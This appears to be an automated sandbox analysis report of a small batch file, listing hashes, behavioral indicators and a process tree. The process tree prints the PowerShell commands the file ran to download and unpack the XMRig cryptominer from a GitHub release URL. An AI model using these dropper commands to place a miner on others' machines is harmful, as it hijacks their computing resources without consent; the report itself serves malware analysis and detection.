04cf0194fb37bcc19b2b63904d84a74c720b64b7938620fdf971bb98a8f47ccd

Analysis

max time kernel
117s
max time network
119s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
22/12/2023, 05:54

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General

Target

tesy - Copy (8).bat
Size

608B
MD5

727c8da0478af118c957ae60f7161cab
SHA1

cf18105b8659e93bbd2824fa35ef1bae7b395301
SHA256

97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
SHA512

d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2000	powershell.exe
4	2000	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2000	powershell.exe
2820	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2000	powershell.exe
Token: SeDebugPrivilege	2820	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1992 wrote to memory of 2000	1992	cmd.exe	29
PID 1992 wrote to memory of 2000	1992	cmd.exe	29
PID 1992 wrote to memory of 2000	1992	cmd.exe	29
PID 1992 wrote to memory of 2820	1992	cmd.exe	30
PID 1992 wrote to memory of 2820	1992	cmd.exe	30
PID 1992 wrote to memory of 2820	1992	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2820

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
523afbd563226038e072816bb4d13a01

SHA1
221e8d0bc54a69b0f19f957b106ca73be5dbee12

SHA256
ff76c06ec455143c48f841445df83226db4b666a42703ffdb60f2dc8b9220957

SHA512
12b636c95405a03fceb1ca6cf014b8b6319b843741a60bcac805338ef8a3d572757bbcc5ec34cdd4b45d5a66dae9f59e85bd761974cd662842906f4625efdc33

Download Submit
memory/2000-9-0x0000000002C90000-0x0000000002D10000-memory.dmp

Filesize
512KB

Download
memory/2000-8-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2000-6-0x0000000002100000-0x0000000002108000-memory.dmp

Filesize
32KB

Download
memory/2000-5-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2000-4-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/2000-11-0x0000000002C90000-0x0000000002D10000-memory.dmp

Filesize
512KB

Download
memory/2000-10-0x0000000002C90000-0x0000000002D10000-memory.dmp

Filesize
512KB

Download
memory/2000-12-0x0000000002C90000-0x0000000002D10000-memory.dmp

Filesize
512KB

Download
memory/2000-7-0x0000000002C90000-0x0000000002D10000-memory.dmp

Filesize
512KB

Download
memory/2000-13-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/2820-19-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2820-20-0x000007FEF4F90000-0x000007FEF592D000-memory.dmp

Filesize
9.6MB

Download
memory/2820-22-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2820-23-0x000007FEF4F90000-0x000007FEF592D000-memory.dmp

Filesize
9.6MB

Download
memory/2820-24-0x0000000002DF0000-0x0000000002E70000-memory.dmp

Filesize
512KB

Download
memory/2820-26-0x0000000002DF0000-0x0000000002E70000-memory.dmp

Filesize
512KB

Download
memory/2820-25-0x0000000002DF0000-0x0000000002E70000-memory.dmp

Filesize
512KB

Download
memory/2820-21-0x0000000002DF0000-0x0000000002E70000-memory.dmp

Filesize
512KB

Download
memory/2820-27-0x000007FEF4F90000-0x000007FEF592D000-memory.dmp

Filesize
9.6MB

Download